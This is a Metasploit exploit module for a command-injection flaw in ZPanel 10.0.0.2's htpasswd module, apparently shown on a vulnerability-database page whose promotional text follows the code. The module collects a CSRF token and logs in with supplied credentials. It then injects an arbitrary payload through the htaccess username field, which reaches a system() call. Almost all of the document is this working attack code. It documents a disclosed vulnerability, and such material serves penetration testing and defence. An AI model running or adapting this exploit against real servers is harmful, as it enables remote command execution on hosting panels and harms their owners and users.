`##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ZPanel 10.0.0.2 htpasswd Module Username Command Execution",
'Description' => %q{
This module exploits a vulnerability found in ZPanel's htpasswd module. When
creating .htaccess using the htpasswd module, the username field can be used to
inject system commands, which is passed on to a system() function for executing
the system's htpasswd's command.
Please note: In order to use this module, you must have a valid account to login
to ZPanel. An account part of any of the default groups should suffice, such as:
Administrators, Resellers, or Users (Clients). By default, there's already a
'zadmin' user, but the password is randomly generated.
},
'License' => MSF_LICENSE,
'Author' =>
[
'shachibista', # Original discovery
'sinn3r' # Metasploit
],
'References' =>
[
['OSVDB', '94038'],
['URL', 'https://github.com/bobsta63/zpanelx/commit/fe9cec7a8164801e2b3755b7abeabdd607f97906'],
['URL', 'http://forums.zpanelcp.com/showthread.php?27898-Serious-Remote-Execution-Exploit-in-Zpanel-10-0-0-2']
],
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
[ 'ZPanel 10.0.0.2 on Linux', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Jun 7 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to ZPanel', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def check
res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end
if res.body =~ /This server is running: ZPanel/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def login(base, token, cookie)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'index.php'),
'cookie' => cookie,
'vars_post' => {
'inUsername' => datastore['USERNAME'],
'inPassword' => datastore['PASSWORD'],
'sublogin2' => 'LogIn',
'csfr_token' => token
}
})
if not res
fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out")
elsif res.body =~ /Application Error/ or res.headers['location'].to_s =~ /invalidlogin/
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed")
end
res.headers['Set-Cookie'].to_s.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || ''
end
def get_csfr_info(base, path='index.php', cookie='', vars={})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base),
'cookie' => cookie,
'vars_get' => vars
})
fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res
token = res.body.scan(/<input type="hidden" name="csfr_token" value="(.+)">/).flatten[0] || ''
sid = res.headers['Set-Cookie'].to_s.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || ''
fail_with(Exploit::Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty?
return token, sid
end
def exec(base, token, sid, user_salt_cookie)
fake_pass = Rex::Text.rand_text_alpha(5)
cookie = "#{sid}; #{user_salt_cookie}"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base),
'cookie' => cookie,
'vars_get' => {
'module' => 'htpasswd',
'action' => 'CreateHTA'
},
'vars_post' => {
'inAuthName' => 'Restricted+Area',
'inHTUsername' => ";#{payload.encoded} #",
'inHTPassword' => fake_pass,
'inConfirmHTPassword' => fake_pass,
'inPath' => '/',
'csfr_token' => token
}
})
end
def exploit
base = target_uri.path
token, sid = get_csfr_info(base)
vprint_status("#{peer} - Token=#{token}, SID=#{sid}")
user_salt_cookie = login(base, token, sid)
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
vars = {'module'=>'htpasswd', 'selected'=>'Selected', 'path'=>'/'}
cookie = "#{sid}; #{user_salt_cookie}"
token = get_csfr_info(base, '', cookie, vars)[0]
vprint_status("#{peer} - Token=#{token}, SID=#{sid}")
print_status("#{peer} - Executing payload...")
exec(base, token, sid, user_salt_cookie)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation